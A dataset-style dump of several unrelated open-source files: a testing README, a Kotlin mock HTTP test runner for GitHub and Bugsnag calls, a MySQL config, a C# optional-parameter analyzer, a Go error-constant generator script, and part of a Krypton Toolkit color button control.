text
stringlengths 2
99.9k
| meta
dict |
|---|---|
# Testing
```
npm run test
```
Each `src/**/*.ts` source file should have an equivalent `*.test.ts` next to it.
Tests should include comments above each section of the "AAA" testing format:
- `// Arrange`: Set up dependencies for the code under test
- `// Act`: Perform the logic under test
- `// Assert`: Check the results of the acted logic
`tslint-to-eslint-config` requires 100% unit test coverage, excluding the following:
- `src/cli/main.ts`
- `src/adapters/*.ts`
- `src/**/*.stubs.ts`
See [Dependencies](./Dependencies.md) for how static dependencies are stubbed out in functions.
That system is how functions can receive stubs and spies during unit tests.
|
{
"pile_set_name": "Github"
}
|
package flank.scripts
import com.github.kittinunf.fuel.core.Client
import com.github.kittinunf.fuel.core.FuelManager
import com.github.kittinunf.fuel.core.Request
import com.github.kittinunf.fuel.core.Response
import com.github.kittinunf.fuel.core.requests.DefaultBody
import flank.scripts.ci.releasenotes.GitHubRelease
import flank.scripts.ci.releasenotes.GithubPullRequest
import flank.scripts.release.updatebugsnag.BugSnagRequest
import flank.scripts.release.updatebugsnag.BugSnagResponse
import flank.scripts.utils.toJson
import flank.scripts.utils.toObject
import kotlinx.serialization.encodeToString
import kotlinx.serialization.json.Json
import org.junit.runners.BlockJUnit4ClassRunner
import org.junit.runners.model.Statement
class FuelTestRunner(klass: Class<*>) : BlockJUnit4ClassRunner(klass) {
override fun withBeforeClasses(statement: Statement?): Statement {
startMockClient()
return super.withBeforeClasses(statement)
}
private fun startMockClient() {
FuelManager.instance.client = object : Client {
override fun executeRequest(request: Request): Response {
val url = request.url.toString()
return when {
url == "https://api.github.com/repos/Flank/flank/git/refs/tags/success" -> request.buildResponse("", 200)
url == "https://api.github.com/repos/flank/flank/releases/latest" && request.headers["Authorization"].contains("token success") -> request.buildResponse(GitHubRelease("v20.08.0").toJson(), 200)
url == "https://api.github.com/repos/flank/flank/commits/success/pulls" -> request.buildResponse(
Json.encodeToString(githubPullRequestTest), 200)
request.isFailedGithubRequest() -> request.buildResponse(githubErrorBody, 422)
url == "https://build.bugsnag.com/" -> request.handleBugsnagResponse()
else -> Response(request.url)
}
}
}
}
private fun Request.isFailedGithubRequest() =
url.toString() == "https://api.github.com/repos/Flank/flank/git/refs/tags/failure" ||
(url.toString()
.startsWith("https://api.github.com/") && request.headers["Authorization"].contains("token failure"))
private fun Request.buildResponse(body: String, statusCode: Int) =
Response(url, statusCode = statusCode, responseMessage = body, body = DefaultBody(
{ body.byteInputStream() },
{ body.length.toLong() }
))
private fun Request.handleBugsnagResponse() =
if (body.asString("application/json").toObject<BugSnagRequest>().apiKey == "success") {
buildResponse(
body = BugSnagResponse("success").toJson(),
statusCode = 200
)
} else {
buildResponse(
body = BugSnagResponse(
status = "failure",
errors = listOf("errors")
).toJson(),
statusCode = 422
)
}
}
private val githubPullRequestTest = listOf(GithubPullRequest(
"www.pull.request",
"feat: new Feature",
5,
listOf()
)
)
private val githubErrorBody = """
{
"message": "Bad credentials",
"documentation_url": "https://developer.github.com/v3"
}
""".trimIndent()
|
{
"pile_set_name": "Github"
}
|
<html>
<body>
<h1>Oh Hai!</h1>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
!include ../my.cnf
[mysqld.1]
[mysqld.2]
[mysqld.3]
[ENV]
SERVER_MYPORT_3= @mysqld.3.port
SERVER_MYSOCK_3= @mysqld.3.socket
|
{
"pile_set_name": "Github"
}
|
//
// OptionalParameterValueIssueMismatch.cs
//
// Author:
// Luís Reis <luiscubal@gmail.com>
//
// Copyright (c) 2013 Luís Reis
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System.Collections.Generic;
using System.Linq;
using ICSharpCode.NRefactory.TypeSystem;
using ICSharpCode.NRefactory.Refactoring;
using ICSharpCode.NRefactory.CSharp.Refactoring;
using ICSharpCode.NRefactory.Semantics;
namespace ICSharpCode.NRefactory.CSharp.Refactoring
{
[IssueDescription ("Mismatch optional parameter value in overridden method",
Description = "The value of an optional parameter in a method does not match the base method.",
Category = IssueCategories.CodeQualityIssues,
Severity = Severity.Warning,
AnalysisDisableKeyword = "OptionalParameterHierarchyMismatch")]
public class OptionalParameterHierarchyMismatchIssue : GatherVisitorCodeIssueProvider
{
protected override IGatherVisitor CreateVisitor(BaseRefactoringContext context)
{
return new GatherVisitor(context);
}
class GatherVisitor : GatherVisitorBase<OptionalParameterHierarchyMismatchIssue>
{
public GatherVisitor(BaseRefactoringContext ctx)
: base(ctx)
{
}
//Delegate declarations are not visited even though they can have optional
//parameters because they can not be overriden.
public override void VisitMethodDeclaration(MethodDeclaration methodDeclaration)
{
VisitParameterizedEntityDeclaration("method", methodDeclaration, methodDeclaration.Parameters);
}
void VisitParameterizedEntityDeclaration(string memberType, EntityDeclaration entityDeclaration, AstNodeCollection<ParameterDeclaration> parameters)
{
// Ignore explicit interface implementations (those should have no optional parameters as there can't be any direct calls)
if (!entityDeclaration.GetChildByRole(EntityDeclaration.PrivateImplementationTypeRole).IsNull)
return;
//Override is not strictly necessary because methodDeclaration
//might still implement an interface member
var memberResolveResult = ctx.Resolve(entityDeclaration) as MemberResolveResult;
if (memberResolveResult == null) {
return;
}
var member = (IParameterizedMember)memberResolveResult.Member;
var baseMembers = InheritanceHelper.GetBaseMembers(member, true).ToList();
foreach (IParameterizedMember baseMember in baseMembers) {
if (baseMember.IsOverride || baseMember.DeclaringType.Kind == TypeKind.Interface)
continue;
CompareMethods(memberType, parameters, member, baseMember);
return;
}
// only check 1 interface method -> multiple interface implementations could lead to deault value conflicts
// possible other solutions: Skip the interface check entirely
var interfaceBaseMethods = baseMembers.Where(b => b.DeclaringType.Kind == TypeKind.Interface).ToList();
if (interfaceBaseMethods.Count == 1) {
foreach (IParameterizedMember baseMember in interfaceBaseMethods) {
if (baseMember.DeclaringType.Kind == TypeKind.Interface) {
CompareMethods(memberType, parameters, member, baseMember);
}
}
}
}
static Expression CreateDefaultValueExpression(BaseRefactoringContext ctx, AstNode node, IType type, object constantValue)
{
var astBuilder = ctx.CreateTypeSystemAstBuilder(node);
return astBuilder.ConvertConstantValue(type, constantValue);
}
void CompareMethods(string memberType, AstNodeCollection<ParameterDeclaration> parameters, IParameterizedMember overridenMethod, IParameterizedMember baseMethod)
{
var parameterEnumerator = parameters.GetEnumerator();
for (int parameterIndex = 0; parameterIndex < overridenMethod.Parameters.Count; parameterIndex++) {
parameterEnumerator.MoveNext();
var baseParameter = baseMethod.Parameters [parameterIndex];
var overridenParameter = overridenMethod.Parameters [parameterIndex];
string parameterName = overridenParameter.Name;
var parameterDeclaration = parameterEnumerator.Current;
if (overridenParameter.IsOptional) {
if (!baseParameter.IsOptional) {
AddIssue(new CodeIssue(parameterDeclaration,
string.Format(ctx.TranslateString("Optional parameter value {0} differs from base " + memberType + " '{1}'"), parameterName, baseMethod.DeclaringType.FullName),
ctx.TranslateString("Remove parameter default value"),
script => {
script.Remove(parameterDeclaration.AssignToken);
script.Remove(parameterDeclaration.DefaultExpression);
script.FormatText(parameterDeclaration);
}));
} else if (!object.Equals(overridenParameter.ConstantValue, baseParameter.ConstantValue)) {
AddIssue(new CodeIssue(parameterDeclaration,
string.Format(ctx.TranslateString("Optional parameter value {0} differs from base " + memberType + " '{1}'"), parameterName, baseMethod.DeclaringType.FullName),
string.Format(ctx.TranslateString("Change default value to {0}"), baseParameter.ConstantValue),
script => script.Replace(parameterDeclaration.DefaultExpression, CreateDefaultValueExpression(ctx, parameterDeclaration, baseParameter.Type, baseParameter.ConstantValue))));
}
} else {
if (!baseParameter.IsOptional)
continue;
AddIssue(new CodeIssue(parameterDeclaration,
string.Format(ctx.TranslateString("Parameter {0} has default value in base method '{1}'"), parameterName, baseMethod.FullName),
string.Format(ctx.TranslateString("Add default value from base '{0}'"), CreateDefaultValueExpression(ctx, parameterDeclaration, baseParameter.Type, baseParameter.ConstantValue)),
script => {
var newParameter = (ParameterDeclaration)parameterDeclaration.Clone();
newParameter.DefaultExpression = CreateDefaultValueExpression(ctx, parameterDeclaration, baseParameter.Type, baseParameter.ConstantValue);
script.Replace(parameterDeclaration, newParameter);
}
));
}
}
}
public override void VisitIndexerDeclaration(IndexerDeclaration indexerDeclaration)
{
VisitParameterizedEntityDeclaration("indexer", indexerDeclaration, indexerDeclaration.Parameters);
}
public override void VisitBlockStatement(BlockStatement blockStatement)
{
//No need to visit statements
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
#!/bin/bash
# Copyright 2019 The Go Authors. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file.
set -e
shopt -s nullglob
winerror="$(printf '%s\n' "/mnt/c/Program Files (x86)/Windows Kits/"/*/Include/*/shared/winerror.h | sort -Vr | head -n 1)"
[[ -n $winerror ]] || { echo "Unable to find winerror.h" >&2; exit 1; }
declare -A errors
{
echo "// Code generated by 'mkerrors.bash'; DO NOT EDIT."
echo
echo "package windows"
echo "import \"syscall\""
echo "const ("
while read -r line; do
unset vtype
if [[ $line =~ ^#define\ +([A-Z0-9_]+k?)\ +([A-Z0-9_]+\()?([A-Z][A-Z0-9_]+k?)\)? ]]; then
key="${BASH_REMATCH[1]}"
value="${BASH_REMATCH[3]}"
elif [[ $line =~ ^#define\ +([A-Z0-9_]+k?)\ +([A-Z0-9_]+\()?((0x)?[0-9A-Fa-f]+)L?\)? ]]; then
key="${BASH_REMATCH[1]}"
value="${BASH_REMATCH[3]}"
vtype="${BASH_REMATCH[2]}"
elif [[ $line =~ ^#define\ +([A-Z0-9_]+k?)\ +\(\(([A-Z]+)\)((0x)?[0-9A-Fa-f]+)L?\) ]]; then
key="${BASH_REMATCH[1]}"
value="${BASH_REMATCH[3]}"
vtype="${BASH_REMATCH[2]}"
else
continue
fi
[[ -n $key && -n $value ]] || continue
[[ -z ${errors["$key"]} ]] || continue
errors["$key"]="$value"
if [[ -v vtype ]]; then
if [[ $key == FACILITY_* || $key == NO_ERROR ]]; then
vtype=""
elif [[ $vtype == *HANDLE* || $vtype == *HRESULT* ]]; then
vtype="Handle"
else
vtype="syscall.Errno"
fi
last_vtype="$vtype"
else
vtype=""
if [[ $last_vtype == Handle && $value == NO_ERROR ]]; then
value="S_OK"
elif [[ $last_vtype == syscall.Errno && $value == NO_ERROR ]]; then
value="ERROR_SUCCESS"
fi
fi
echo "$key $vtype = $value"
done < "$winerror"
echo ")"
} | gofmt > "zerrors_windows.go"
|
{
"pile_set_name": "Github"
}
|
// *****************************************************************************
//
// © Component Factory Pty Ltd 2017. All rights reserved.
// The software and associated documentation supplied hereunder are the
// proprietary information of Component Factory Pty Ltd, 13 Swallows Close,
// Mornington, Vic 3931, Australia and are supplied subject to licence terms.
//
// Version 4.6.0.0 www.ComponentFactory.com
// *****************************************************************************
using System;
using System.Text;
using System.Data;
using System.Drawing;
using System.Drawing.Design;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ComponentFactory.Krypton.Toolkit
{
/// <summary>
/// Combines color button functionality with the styling features of the Krypton Toolkit.
/// </summary>
[ToolboxItem(true)]
[ToolboxBitmap(typeof(KryptonColorButton), "ToolboxBitmaps.KryptonColorButton.bmp")]
[DefaultEvent("SelectedColorChanged")]
[DefaultProperty("SelectedColor")]
[Designer("ComponentFactory.Krypton.Toolkit.KryptonColorButtonDesigner, ComponentFactory.Krypton.Toolkit, Version=4.6.0.0, Culture=neutral, PublicKeyToken=a87e673e9ecb6e8e")]
[DesignerCategory("code")]
[Description("Raises an event when the user clicks it.")]
[ClassInterface(ClassInterfaceType.AutoDispatch)]
[ComVisible(true)]
public class KryptonColorButton : VisualSimpleBase, IButtonControl, IContentValues
{
#region Instance Fields
private ViewDrawButton _drawButton;
private ButtonStyle _style;
private ColorButtonValues _buttonValues;
private ButtonController _buttonController;
private PaletteRedirectDropDownButton _paletteDropDownButtonImages;
private PaletteTripleRedirect _stateCommon;
private PaletteTriple _stateDisabled;
private PaletteTriple _stateNormal;
private PaletteTriple _stateTracking;
private PaletteTriple _statePressed;
private PaletteTripleRedirect _stateDefault;
private PaletteTripleRedirect _stateFocus;
private PaletteTripleOverride _overrideFocus;
private PaletteTripleOverride _overrideNormal;
private PaletteTripleOverride _overrideTracking;
private PaletteTripleOverride _overridePressed;
private PaletteColorButtonStrings _strings;
private KryptonCommand _command;
private DropDownButtonImages _images;
private DialogResult _dialogResult;
private Rectangle _selectedRect;
private Color _selectedColor;
private Color _emptyBorderColor;
private ColorScheme _schemeThemes;
private ColorScheme _schemeStandard;
private List<Color> _recentColors;
private int _maxRecentColors;
private Image _wasImage;
private bool _wasEnabled;
private bool _autoRecentColors;
private bool _visibleThemes;
private bool _visibleStandard;
private bool _visibleRecent;
private bool _visibleNoColor;
private bool _visibleMoreColors;
private bool _isDefault;
private bool _useMnemonic;
// Context menu items
private KryptonContextMenu _kryptonContextMenu;
private KryptonContextMenuSeparator _separatorTheme, _separatorStandard, _separatorRecent;
private KryptonContextMenuHeading _headingTheme, _headingStandard, _headingRecent;
private KryptonContextMenuColorColumns _colorsTheme, _colorsStandard, _colorsRecent;
private KryptonContextMenuSeparator _separatorNoColor;
private KryptonContextMenuItems _itemsNoColor;
private KryptonContextMenuItem _itemNoColor;
private KryptonContextMenuSeparator _separatorMoreColors;
private KryptonContextMenuItems _itemsMoreColors;
private KryptonContextMenuItem _itemMoreColors;
#endregion
#region Events
/// <summary>
/// Occurs when the drop down portion of the color button is pressed.
/// </summary>
[Category("Action")]
[Description("Occurs when the drop down portion of the color button is pressed.")]
public event EventHandler<ContextPositionMenuArgs> DropDown;
/// <summary>
/// Occurs when the value of the KryptonCommand property changes.
/// </summary>
[Category("Property Changed")]
[Description("Occurs when the value of the KryptonCommand property changes.")]
public event EventHandler KryptonCommandChanged;
/// <summary>
/// Occurs when the SelectedColor property changes value.
/// </summary>
[Category("Property Changed")]
[Description("Occurs when the SelectedColor property changes value.")]
public event EventHandler<ColorEventArgs> SelectedColorChanged;
/// <summary>
/// Occurs when the user is tracking over a color.
/// </summary>
[Category("Action")]
[Description("Occurs when user is tracking over a color.")]
public event EventHandler<ColorEventArgs> TrackingColor;
/// <summary>
/// Occurs when the user selects the more colors option.
/// </summary>
[Category("Action")]
[Description("Occurs when user selects the more colors option.")]
public event CancelEventHandler MoreColors;
#endregion
#region Identity
/// <summary>
/// Initialize a new instance of the KryptonColorButton class.
/// </summary>
public KryptonColorButton()
{
// We generate click events manually, suppress default
// production of them by the base Control class
SetStyle(ControlStyles.StandardClick |
ControlStyles.StandardDoubleClick, false);
// Set default color button properties
_style = ButtonStyle.Standalone;
_visibleThemes = true;
_visibleStandard = true;
_visibleRecent = true;
_visibleNoColor = true;
_visibleMoreColors = true;
_autoRecentColors = true;
_schemeThemes = ColorScheme.OfficeThemes;
_schemeStandard = ColorScheme.OfficeStandard;
_selectedRect = new Rectangle(0, 12, 16, 4);
_selectedColor = Color.Red;
_emptyBorderColor = Color.DarkGray;
_dialogResult = DialogResult.None;
_useMnemonic = true;
_maxRecentColors = 10;
_recentColors = new List<Color>();
// Create the context menu items
_kryptonContextMenu = new KryptonContextMenu();
_separatorTheme = new KryptonContextMenuSeparator();
_headingTheme = new KryptonContextMenuHeading("Theme Colors");
_colorsTheme = new KryptonContextMenuColorColumns(ColorScheme.OfficeThemes);
_separatorStandard = new KryptonContextMenuSeparator();
_headingStandard = new KryptonContextMenuHeading("Standard Colors");
_colorsStandard = new KryptonContextMenuColorColumns(ColorScheme.OfficeStandard);
_separatorRecent = new KryptonContextMenuSeparator();
_headingRecent = new KryptonContextMenuHeading("Recent Colors");
_colorsRecent = new KryptonContextMenuColorColumns(ColorScheme.None);
_separatorNoColor = new KryptonContextMenuSeparator();
_itemNoColor = new KryptonContextMenuItem("&No Color", Properties.Resources.ButtonNoColor, new EventHandler(OnClickNoColor));
_itemsNoColor = new KryptonContextMenuItems();
_itemsNoColor.Items.Add(_itemNoColor);
_separatorMoreColors = new KryptonContextMenuSeparator();
_itemMoreColors = new KryptonContextMenuItem("&More Colors...", new EventHandler(OnClickMoreColors));
_itemsMoreColors = new KryptonContextMenuItems();
_itemsMoreColors.Items.Add(_itemMoreColors);
_kryptonContextMenu.Items.AddRange(new KryptonContextMenuItemBase[] { _separatorTheme, _headingTheme, _colorsTheme,
_separatorStandard, _headingStandard, _colorsStandard,
_separatorRecent, _headingRecent, _colorsRecent,
_separatorNoColor, _itemsNoColor,
_separatorMoreColors, _itemsMoreColors});
// Create content storage
_buttonValues = CreateButtonValues(NeedPaintDelegate);
_buttonValues.TextChanged += new EventHandler(OnButtonTextChanged);
_images = new DropDownButtonImages(NeedPaintDelegate);
// Image need an extra redirector to check the local images first
_paletteDropDownButtonImages = new PaletteRedirectDropDownButton(Redirector, _images);
// Create the palette storage
_strings = new PaletteColorButtonStrings();
_stateCommon = new PaletteTripleRedirect(Redirector, PaletteBackStyle.ButtonStandalone, PaletteBorderStyle.ButtonStandalone, PaletteContentStyle.ButtonStandalone, NeedPaintDelegate);
_stateDisabled = new PaletteTriple(_stateCommon, NeedPaintDelegate);
_stateNormal = new PaletteTriple(_stateCommon, NeedPaintDelegate);
_stateTracking = new PaletteTriple(_stateCommon, NeedPaintDelegate);
_statePressed = new PaletteTriple(_stateCommon, NeedPaintDelegate);
_stateDefault = new PaletteTripleRedirect(Redirector, PaletteBackStyle.ButtonStandalone, PaletteBorderStyle.ButtonStandalone, PaletteContentStyle.ButtonStandalone, NeedPaintDelegate);
_stateFocus = new PaletteTripleRedirect(Redirector, PaletteBackStyle.ButtonStandalone, PaletteBorderStyle.ButtonStandalone, PaletteContentStyle.ButtonStandalone, NeedPaintDelegate);
// Create the override handling classes
_overrideFocus = new PaletteTripleOverride(_stateFocus, _stateNormal, PaletteState.FocusOverride);
_overrideNormal = new PaletteTripleOverride(_stateDefault, _overrideFocus, PaletteState.NormalDefaultOverride);
_overrideTracking = new PaletteTripleOverride(_stateFocus, _stateTracking, PaletteState.FocusOverride);
_overridePressed = new PaletteTripleOverride(_stateFocus, _statePressed, PaletteState.FocusOverride);
// Create the view color button instance
_drawButton = new ViewDrawButton(_stateDisabled,
_overrideNormal,
_overrideTracking,
_overridePressed,
new PaletteMetricRedirect(Redirector),
this,
VisualOrientation.Top,
UseMnemonic);
// Set default color button state
_drawButton.DropDown = true;
_drawButton.Splitter = true;
_drawButton.TestForFocusCues = true;
_drawButton.DropDownPalette = _paletteDropDownButtonImages;
// Create a color button controller to handle button style behaviour
_buttonController = new ButtonController(_drawButton, NeedPaintDelegate);
_buttonController.BecomesFixed = true;
// Assign the controller to the view element to treat as a button
_drawButton.MouseController = _buttonController;
_drawButton.KeyController = _buttonController;
_drawButton.SourceController = _buttonController;
// Need to know when user clicks the button view or mouse selects it
_buttonController.Click += new MouseEventHandler(OnButtonClick);
_buttonController.MouseSelect += new MouseEventHandler(OnButtonSelect);
// Create the view manager instance
ViewManager = new ViewManager(this, _drawButton);
}
#endregion
#region Public
/// <summary>
/// Gets and sets the automatic resize of the control to fit contents.
/// </summary>
[Browsable(true)]
[Localizable(true)]
[EditorBrowsable(EditorBrowsableState.Always)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)]
[RefreshProperties(RefreshProperties.All)]
public override bool AutoSize
{
get { return base.AutoSize; }
set { base.AutoSize = value; }
}
/// <summary>
/// Gets and sets the internal padding space.
/// </summary>
[Browsable(false)]
[Localizable(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public new Padding Padding
{
get { return base.Padding; }
set { base.Padding = value; }
}
/// <summary>
/// Gets or sets the text associated with this control.
/// </summary>
[Editor("System.ComponentModel.Design.MultilineStringEditor, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", typeof(UITypeEditor))]
public override string Text
{
get
{
// Map onto the color button property from the values
return _buttonValues.Text;
}
set
{
// Map onto the color button property from the values
_buttonValues.Text = value;
}
}
private bool ShouldSerializeText()
{
// Never serialize, let the color button values serialize instead
return false;
}
/// <summary>
/// Resets the Text property to its default value.
/// </summary>
public override void ResetText()
{
// Map onto the color button property from the values
_buttonValues.ResetText();
}
/// <summary>
/// Gets or sets the ContextMenuStrip associated with this control.
/// </summary>
[Browsable(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public override ContextMenuStrip ContextMenuStrip
{
get { return null; }
set { }
}
/// <summary>
/// Gets and sets the KryptonContextMenu to show when right clicked.
/// </summary>
[Browsable(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)]
public override KryptonContextMenu KryptonContextMenu
{
get { return null; }
set { }
}
/// <summary>
/// Gets and sets the maximum number of recent colors to store and display.
/// </summary>
[Category("Behavior")]
[Description("Determine the maximum number of recent colors to store and display.")]
[DefaultValue(10)]
public int MaxRecentColors
{
get { return _maxRecentColors; }
set { _maxRecentColors = value; }
}
/// <summary>
/// Gets and sets the visible state of the themes color set.
/// </summary>
[Category("Behavior")]
[Description("Determine the visible state of the themes color set.")]
[DefaultValue(true)]
public bool VisibleThemes
{
get { return _visibleThemes; }
set { _visibleThemes = value; }
}
/// <summary>
/// Gets and sets the visible state of the standard color set.
/// </summary>
[Category("Behavior")]
[Description("Determine the visible state of the standard color set.")]
[DefaultValue(true)]
public bool VisibleStandard
{
get { return _visibleStandard; }
set { _visibleStandard = value; }
}
/// <summary>
/// Gets and sets the visible state of the recent color set.
/// </summary>
[Category("Behavior")]
[Description("Determine the visible state of the recent color set.")]
[DefaultValue(true)]
public bool VisibleRecent
{
get { return _visibleRecent; }
set { _visibleRecent = value; }
}
/// <summary>
/// Gets and sets the visible state of the no color menu item.
/// </summary>
[Category("Behavior")]
[Description("Determine if the 'No Color' menu item is used.")]
[DefaultValue(true)]
public bool VisibleNoColor
{
get { return _visibleNoColor; }
set { _visibleNoColor = value; }
}
/// <summary>
/// Gets and sets the visible state of the more colors menu item.
/// </summary>
[Category("Behavior")]
[Description("Determine if the 'More Colors...' menu item is used.")]
[DefaultValue(true)]
public bool VisibleMoreColors
{
get { return _visibleMoreColors; }
set { _visibleMoreColors = value; }
}
/// <summary>
/// Gets and sets if the recent colors should be automatically updated.
/// </summary>
[Category("Behavior")]
[Description("Should recent colors be automatically updated.")]
[DefaultValue(true)]
public bool AutoRecentColors
{
get { return _autoRecentColors; }
set { _autoRecentColors = value; }
}
/// <summary>
/// Gets and sets the color scheme for the themes color set.
/// </summary>
[Category("Behavior")]
[Description("Color scheme to use for the themes color set.")]
[DefaultValue(typeof(ColorScheme), "OfficeThemes")]
public ColorScheme SchemeThemes
{
get { return _schemeThemes; }
set { _schemeThemes = value; }
}
/// <summary>
/// Gets and sets the color scheme for the standard color set.
/// </summary>
[Category("Behavior")]
[Description("Color scheme to use for the standard color set.")]
[DefaultValue(typeof(ColorScheme), "OfficeStandard")]
public ColorScheme SchemeStandard
{
get { return _schemeStandard; }
set { _schemeStandard = value; }
}
/// <summary>
/// Gets and sets the selected color.
/// </summary>
[Bindable(true)]
[Category("Appearance")]
[Description("Selected color.")]
[DefaultValue(typeof(Color), "Red")]
public Color SelectedColor
{
get { return _selectedColor; }
set
{
if (value != _selectedColor)
{
_selectedColor = value;
_buttonValues.SelectedColor = value;
UpdateRecentColors(_selectedColor);
OnSelectedColorChanged(_selectedColor);
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Gets and sets the selected color block when selected color is empty.
/// </summary>
[Bindable(true)]
[Category("Appearance")]
[Description("Border color of selected block when selected color is empty.")]
[DefaultValue(typeof(Color), "DarkGray")]
public Color EmptyBorderColor
{
get { return _emptyBorderColor; }
set
{
if (value != _emptyBorderColor)
{
_emptyBorderColor = value;
_buttonValues.EmptyBorderColor = value;
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Gets and sets the selected color drawing rectangle.
/// </summary>
[Bindable(true)]
[Category("Appearance")]
[Description("Selected color drawing rectangle.")]
[DefaultValue(typeof(Rectangle), "0,12,16,4")]
public Rectangle SelectedRect
{
get { return _selectedRect; }
set
{
_selectedRect = value;
_buttonValues.SelectedRect = value;
PerformNeedPaint(true);
}
}
/// <summary>
/// Gets and sets the visual orientation of the control.
/// </summary>
[Category("Visuals")]
[Description("Visual orientation of the control.")]
[DefaultValue(typeof(VisualOrientation), "Top")]
public virtual VisualOrientation ButtonOrientation
{
get { return _drawButton.Orientation; }
set
{
if (_drawButton.Orientation != value)
{
_drawButton.Orientation = value;
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Gets and sets the position of the drop arrow within the color button.
/// </summary>
[Category("Visuals")]
[Description("Position of the drop arrow within the color button.")]
[DefaultValue(typeof(VisualOrientation), "Right")]
public virtual VisualOrientation DropDownPosition
{
get { return _drawButton.DropDownPosition; }
set
{
if (_drawButton.DropDownPosition != value)
{
_drawButton.DropDownPosition = value;
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Gets and sets the orientation of the drop arrow within the color button.
/// </summary>
[Category("Visuals")]
[Description("Orientation of the drop arrow within the color button.")]
[DefaultValue(typeof(VisualOrientation), "Bottom")]
public virtual VisualOrientation DropDownOrientation
{
get
{
switch (_drawButton.DropDownOrientation)
{
default:
case VisualOrientation.Top:
return VisualOrientation.Bottom;
case VisualOrientation.Bottom:
return VisualOrientation.Top;
case VisualOrientation.Left:
return VisualOrientation.Right;
case VisualOrientation.Right:
return VisualOrientation.Left;
}
}
set
{
VisualOrientation converted = value;
switch (value)
{
default:
case VisualOrientation.Bottom:
converted = VisualOrientation.Top;
break;
case VisualOrientation.Top:
converted = VisualOrientation.Bottom;
break;
case VisualOrientation.Right:
converted = VisualOrientation.Left;
break;
case VisualOrientation.Left:
converted = VisualOrientation.Right;
break;
}
if (_drawButton.DropDownOrientation != converted)
{
_drawButton.DropDownOrientation = converted;
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Gets and sets if the color button works as a splitter or as a drop down.
/// </summary>
[Category("Visuals")]
[Description("Determine if color button acts as a splitter or just a drop down.")]
[DefaultValue(true)]
public virtual bool Splitter
{
get { return _drawButton.Splitter; }
set
{
if (_drawButton.Splitter != value)
{
_drawButton.Splitter = value;
PerformNeedPaint(true);
}
}
}
/// <summary>
/// Gets and sets the color button style.
/// </summary>
[Category("Visuals")]
[Description("Color button style.")]
public ButtonStyle ButtonStyle
{
get { return _style; }
set
{
if (_style != value)
{
_style = value;
SetStyles(_style);
PerformNeedPaint(true);
}
}
}
private bool ShouldSerializeButtonStyle()
{
return (ButtonStyle != ButtonStyle.Standalone);
}
private void ResetButtonStyle()
{
ButtonStyle = ButtonStyle.Standalone;
}
/// <summary>
/// Gets access to the color button content.
/// </summary>
[Category("Visuals")]
[Description("Color button values")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public ColorButtonValues Values
{
get { return _buttonValues; }
}
private bool ShouldSerializeValues()
{
return !_buttonValues.IsDefault;
}
/// <summary>
/// Gets access to the image value overrides.
/// </summary>
[Category("Visuals")]
[Description("Image value overrides.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public DropDownButtonImages Images
{
get { return _images; }
}
private bool ShouldSerializeImages()
{
return !_images.IsDefault;
}
/// <summary>
/// Gets access to the context menu display strings.
/// </summary>
[Category("Visuals")]
[Description("Context menu display strings.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteColorButtonStrings Strings
{
get { return _strings; }
}
/// <summary>
/// Gets access to the common color button appearance that other states can override.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining common color button appearance that other states can override.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTripleRedirect StateCommon
{
get { return _stateCommon; }
}
private bool ShouldSerializeStateCommon()
{
return !_stateCommon.IsDefault;
}
/// <summary>
/// Gets access to the disabled color button appearance entries.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining disabled color button appearance.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTriple StateDisabled
{
get { return _stateDisabled; }
}
private bool ShouldSerializeStateDisabled()
{
return !_stateDisabled.IsDefault;
}
/// <summary>
/// Gets access to the normal color button appearance entries.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining normal color button appearance.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTriple StateNormal
{
get { return _stateNormal; }
}
private bool ShouldSerializeStateNormal()
{
return !_stateNormal.IsDefault;
}
/// <summary>
/// Gets access to the hot tracking color button appearance entries.
/// </summary>
[Category("Visuals")]
[Description("Overrides for defining hot tracking color button appearance.")]
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public PaletteTriple StateTracking
{
get { return _stateTracking; }
}
